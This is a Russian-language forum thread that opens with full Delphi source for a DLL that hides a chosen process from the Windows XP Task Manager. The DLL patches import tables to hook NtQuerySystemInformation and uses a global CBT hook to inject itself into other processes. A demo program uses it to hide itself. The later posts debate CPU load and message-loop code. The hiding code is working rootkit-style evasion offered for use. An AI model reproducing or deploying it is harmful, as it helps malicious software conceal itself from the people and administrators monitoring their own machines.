+ Ответить в теме
Показано с 1 по 12 из 12

Тема: Скрытие процесса от ACD в WinXP

  1. #1
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию Скрытие процесса от ACD в WinXP

    Вот код библиотеки DLL с помощью которой можно спрятать процесс от дистпечера процессов WinXP
    Код:
    library Hide;
    
    uses
      Windows,
      TlHelp32;
    
    type
    
      SYSTEM_INFORMATION_CLASS = (
        SystemBasicInformation,
        SystemProcessorInformation,
        SystemPerformanceInformation,
        SystemTimeOfDayInformation,
        SystemNotImplemented1,
        SystemProcessesAndThreadsInformation,
        SystemCallCounts,
        SystemConfigurationInformation,
        SystemProcessorTimes,
        SystemGlobalFlag,
        SystemNotImplemented2,
        SystemModuleInformation,
        SystemLockInformation,
        SystemNotImplemented3,
        SystemNotImplemented4,
        SystemNotImplemented5,
        SystemHandleInformation,
        SystemObjectInformation,
        SystemPagefileInformation,
        SystemInstructionEmulationCounts,
        SystemInvalidInfoClass1,
        SystemCacheInformation,
        SystemPoolTagInformation,
        SystemProcessorStatistics,
        SystemDpcInformation,
        SystemNotImplemented6,
        SystemLoadImage,
        SystemUnloadImage,
        SystemTimeAdjustment,
        SystemNotImplemented7,
        SystemNotImplemented8,
        SystemNotImplemented9,
        SystemCrashDumpInformation,
        SystemExceptionInformation,
        SystemCrashDumpStateInformation,
        SystemKernelDebuggerInformation,
        SystemContextSwitchInformation,
        SystemRegistryQuotaInformation,
        SystemLoadAndCallImage,
        SystemPrioritySeparation,
        SystemNotImplemented10,
        SystemNotImplemented11,
        SystemInvalidInfoClass2,
        SystemInvalidInfoClass3,
        SystemTimeZoneInformation,
        SystemLookasideInformation,
        SystemSetTimeSlipEvent,
        SystemCreateSession,
        SystemDeleteSession,
        SystemInvalidInfoClass4,
        SystemRangeStartInformation,
        SystemVerifierInformation,
        SystemAddVerifier,
        SystemSessionProcessesInformation
        );
    
      _IMAGE_IMPORT_DESCRIPTOR = packed record
        case Integer of 0: (
            Characteristics: DWORD);
          1: (
            OriginalFirstThunk: DWORD;
            TimeDateStamp: DWORD;
            ForwarderChain: DWORD;
            Name: DWORD;
            FirstThunk: DWORD);
      end;
      IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
      PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
    
      PFARPROC = ^FARPROC;
    
    const
      ImagehlpLib = 'IMAGEHLP.DLL';
    
    function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
      DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib
        name 'ImageDirectoryEntryToData';
    
    function AllocMem(Size: Cardinal): Pointer;
    begin
      GetMem(Result, Size);
      FillChar(Result^, Size, 0);
    end;
    
    procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc;
      pfnNew: FARPROC; hmodCaller: hModule);
    var
      ulSize: ULONG;
      pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
      pszModName: PChar;
      pThunk: PDWORD;
      ppfn: PFARPROC;
      ffound: LongBool;
      written: DWORD;
    begin
      pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,
        IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
      if pImportDesc = nil then
        exit;
      while pImportDesc.Name <> 0 do
      begin
        pszModName := PChar(hmodCaller + pImportDesc.Name);
        if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
          break;
        Inc(pImportDesc);
      end;
      if (pImportDesc.Name = 0) then
        exit;
      pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
      while pThunk^ <> 0 do
      begin
        ppfn := PFARPROC(pThunk);
        fFound := (ppfn^ = pfnCurrent);
        if (fFound) then
        begin
          VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE,
            written);
          WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
            Written);
          exit;
        end;
        Inc(pThunk);
      end;
    end;
    
    var
      addr_NtQuerySystemInformation: Pointer;
      mypid: DWORD;
      fname: PCHAR;
      mapaddr: PDWORD;
      hideOnlyTaskMan: PBOOL;
    
      { By Wasm.ru}
    
    function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
      SystemInformation: Pointer;
      SystemInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall;
    label
      onceagain, getnextpidstruct, quit, fillzero;
    asm
    push ReturnLength
    push SystemInformationLength
    push SystemInformation
    push dword ptr SystemInformationClass
    call dword ptr [addr_NtQuerySystemInformation]
    or eax,eax
    jl quit
    cmp SystemInformationClass,SystemProcessesAndThreadsInformation
    jne quit
    onceagain:
    mov esi,SystemInformation
    getnextpidstruct:
    mov ebx,esi
    cmp dword ptr [esi],0
    je quit
    add esi,[esi]
    mov ecx,[esi+44h]
    cmp ecx,mypid
    jne getnextpidstruct
    mov edx,[esi]
    test edx,edx
    je fillzero
    add [ebx],edx
    jmp onceagain
    fillzero:
    and [ebx],edx
    jmp onceagain
    quit:
    mov Result,eax
    end;
    
    procedure InterceptFunctions;
    var
      hSnapShot: THandle;
      me32: MODULEENTRY32;
    begin
      addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),
        'NtQuerySystemInformation');
      hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
      if hSnapshot = INVALID_HANDLE_VALUE then
        exit;
      try
        ZeroMemory(@me32, sizeof(MODULEENTRY32));
        me32.dwSize := sizeof(MODULEENTRY32);
        Module32First(hSnapShot, me32);
        repeat
          ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation,
            @MyNtQuerySystemInfo, me32.hModule);
        until not Module32Next(hSnapShot, me32);
      finally
        CloseHandle(hSnapShot);
      end;
    end;
    
    procedure UninterceptFunctions;
    var
      hSnapShot: THandle;
      me32: MODULEENTRY32;
    begin
      addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),
        'NtQuerySystemInformation');
      hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
      if hSnapshot = INVALID_HANDLE_VALUE then
        exit;
      try
        ZeroMemory(@me32, sizeof(MODULEENTRY32));
        me32.dwSize := sizeof(MODULEENTRY32);
        Module32First(hSnapShot, me32);
        repeat
          ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo,
            addr_NtQuerySystemInformation, me32.hModule);
        until not Module32Next(hSnapShot, me32);
      finally
        CloseHandle(hSnapShot);
      end;
    end;
    
    var
      HookHandle: THandle;
    
    function CbtProc(code: integer; wparam: integer; lparam: integer): Integer;
      stdcall;
    begin
      Result := 0;
    end;
    
    procedure InstallHook; stdcall;
    begin
      HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
    end;
    
    var
      hFirstMapHandle: THandle;
    
    function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
    var
      addrMap: PDWORD;
      ptr2: PBOOL;
    begin
      mypid := 0;
      result := false;
      hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
        'NtHideFileMapping');
      if hFirstMapHandle = 0 then
        exit;
      addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
      if addrMap = nil then
      begin
        CloseHandle(hFirstMapHandle);
        exit;
      end;
      addrMap^ := pid;
      ptr2 := PBOOL(DWORD(addrMap) + 4);
      ptr2^ := HideOnlyFromTaskManager;
      UnmapViewOfFile(addrMap);
      InstallHook;
      result := true;
    end;
    
    exports
      HideProcess;
    
    var
      hmap: THandle;
    
    procedure LibraryProc(Reason: Integer);
    begin
      if Reason = DLL_PROCESS_DETACH then
        if mypid > 0 then
          UninterceptFunctions()
        else
          CloseHandle(hFirstMapHandle);
    end;
    
    begin
      hmap := OpenFileMapping(FILE_MAP_READ, false, 'NtHideFileMapping');
      if hmap = 0 then
        exit;
      try
        mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
        if mapaddr = nil then
          exit;
        mypid := mapaddr^;
        hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
        if hideOnlyTaskMan^ then
        begin
          fname := allocMem(MAX_PATH + 1);
          GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
          // if not (ExtractFileName(fname)='taskmgr.exe') then exit;
        end;
        InterceptFunctions;
      finally
        UnmapViewOfFile(mapaddr);
        CloseHandle(Hmap);
        DLLProc := @LibraryProc;
      end;
    end.
    Текст програмки, прячущей саму себя:

    Код:
    program HideProj;
    
    uses
      windows, messages;
    
    function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
      external 'hide.dll';
    
    function ProcessMessage(var Msg: TMsg): Boolean;
    var
      Handled: Boolean;
    begin
      Result := False;
      begin
        Result := True;
        if Msg.Message <> WM_QUIT then
        begin
          Handled := False;
          begin
            TranslateMessage(Msg);
            DispatchMessage(Msg);
          end;
        end
      end;
    end;
    
    procedure ProcessMessages;
    var
      Msg: TMsg;
    begin
      while ProcessMessage(Msg) do {loop}
        ;
    end;
    
    begin
      HideProcess(GetCurrentProcessId, false);
      while true do
      begin
        ProcessMessages;
      end;
    end.
    сразу скажу, что программа, юзающая эту dll очень сильно грузит ЦП!!! ;)
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  2. #2
    [Fk]
    Guest

    По умолчанию

    Цитата Сообщение от n0ns3ns3
    сразу скажу, что программа, юзающая эту dll очень сильно грузит ЦП!!! ;)
    в том-то вся и проблема что грузит..

  3. #3
    Кандидат в умники JiF Включаюсь JiF Включаюсь JiF Включаюсь
    Регистрация
    20.05.2005
    Сообщений
    420
    Поблагодарил(а)
    0
    Получено благодарностей: 14 (сообщений: 9).

    По умолчанию

    В фаре не катит ! проверил !

    Оффтопик

  4. #4
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию

    Цитата Сообщение от _jf_
    В фаре не катит ! проверил !
    прочитай название темы!!! скрытие только от ACD, про фар и других просмотрщиков процессов я ниче не говорил ;)
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  5. #5
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию

    короче, вроде я понял че надо сделать, чтоб прога не грузила проц -
    из текста программы убрать
    Код:
    function ProcessMessage(var Msg: TMsg): Boolean;
    var
      Handled: Boolean;
    begin
      Result := False;
      begin
        Result := True;
        if Msg.Message <> WM_QUIT then
        begin
          Handled := False;
          begin
            TranslateMessage(Msg);
            DispatchMessage(Msg);
          end;
        end
      end;
    end;
    
    procedure ProcessMessages;
    var
      Msg: TMsg;
    begin
      while ProcessMessage(Msg) do {loop}
        ;
    end;
    и заменить:
    Код:
    begin
      HideProcess(GetCurrentProcessId, false);
      while true do
      begin
        ProcessMessages;
      end;
    end.
    на
    Код:
     HideProcess(GetCurrentProcessId, false);
    ЗЫ сам еще не проверял
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  6. #6
    Кандидат в умники JiF Включаюсь JiF Включаюсь JiF Включаюсь
    Регистрация
    20.05.2005
    Сообщений
    420
    Поблагодарил(а)
    0
    Получено благодарностей: 14 (сообщений: 9).

    По умолчанию

    хых...как это я название темы не посмотрел ...
    По поводу изменений - грузит то сама ДЛЛ процессор. а сели убрать отлов мессаг, то это равносильно уббрать всю функциональность проги.

  7. #7
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию

    сделай так как я сказал и ты заметишь разницу в загрузке проца ;)
    я все уже проверил, все работает ;) и загрузка проца в норме и процесса нет в списке
    а загрузка проца была только из-за этих процедур:
    Код:
    
    function ProcessMessage(var Msg: TMsg): Boolean;
    var
      Handled: Boolean;
    begin
      Result := False;
      begin
        Result := True;
        if Msg.Message <> WM_QUIT then
        begin
          Handled := False;
          begin
            TranslateMessage(Msg);
            DispatchMessage(Msg);
          end;
        end
      end;
    end;
    
    procedure ProcessMessages;
    var
      Msg: TMsg;
    begin
      while ProcessMessage(Msg) do {loop}
        ;
    end;
    так что все гутъ ;)
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  8. #8
    Кандидат в умники JiF Включаюсь JiF Включаюсь JiF Включаюсь
    Регистрация
    20.05.2005
    Сообщений
    420
    Поблагодарил(а)
    0
    Получено благодарностей: 14 (сообщений: 9).

    По умолчанию

    поидее должно тока из-за последней процедуры - там цикл бесконечный... а первую убирать нельзя, в плане функциональности ....

  9. #9
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию

    а суть первой? там тока ее объявление, само использование идет только во второй процедцре, так что если убираем вторую, то отпадает смысл первой
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  10. #10
    Кандидат в умники JiF Включаюсь JiF Включаюсь JiF Включаюсь
    Регистрация
    20.05.2005
    Сообщений
    420
    Поблагодарил(а)
    0
    Получено благодарностей: 14 (сообщений: 9).

    По умолчанию

    главная фишка в первой процедуре вот :
    if Msg.Message <> WM_QUIT then
    begin
    Handled := False;
    begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
    end;
    при отлове мессаги WM_QUIT прога благополучно завершает работу, а если же нет, то дает проге вести себя в системе как подобает прогам (если напр это оконное приложение, то его мона будет по нормальному таскать за заголовок, закрывать, минимизировать и т.д...) правда тут совсем не оконное, и необхходима функция PeekMessage ....

  11. #11
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию

    ну так использование этой первой процедуры есть только во второй.....или я уже сильно туплю
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  12. #12
    Кандидат в умники JiF Включаюсь JiF Включаюсь JiF Включаюсь
    Регистрация
    20.05.2005
    Сообщений
    420
    Поблагодарил(а)
    0
    Получено благодарностей: 14 (сообщений: 9).

    По умолчанию

    Цитата Сообщение от n0ns3ns3
    ну так использование этой первой процедуры есть только во второй.....или я уже сильно туплю
    тут ваще код запутан ... можно сделать гораздо проще и быстрее ... тут действительно первая используется во второй вопрос - нафиг это надо ? гон полный....

    я обычно в своих творениях творил так :
    Код:
    var msg:Tmsg; finished:boolean;
    ......
    while not finished do
      begin
        if (PeekMessage(msg, 0, 0, 0, PM_REMOVE)) then
     // Ловим мессаги
        begin
          if (msg.message = WM_QUIT) then
         // Если мессага выхода, то выходим
            finished := True
          else
          begin
           TranslateMessage(msg);
            DispatchMessage(msg);
          end;
        end
    else begin
    // если мессаг не получено...
    end;

+ Ответить в теме

Информация о теме

Пользователи, просматривающие эту тему

Эту тему просматривают: 1 (пользователей: 0 , гостей: 1)

     

Похожие темы

  1. У кого есть WinXP 64?
    от Mac в разделе Операционные системы
    Ответов: 21
    Последнее сообщение: 26.01.2008, 16:13

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
Рейтинг@Mail.ru
Администрация сайта не выражает согласия
с высказыванием участников форума и не несет
ответственности за их содержание.

Копирование любого материала возможно только
при наличии ссылки на сайт.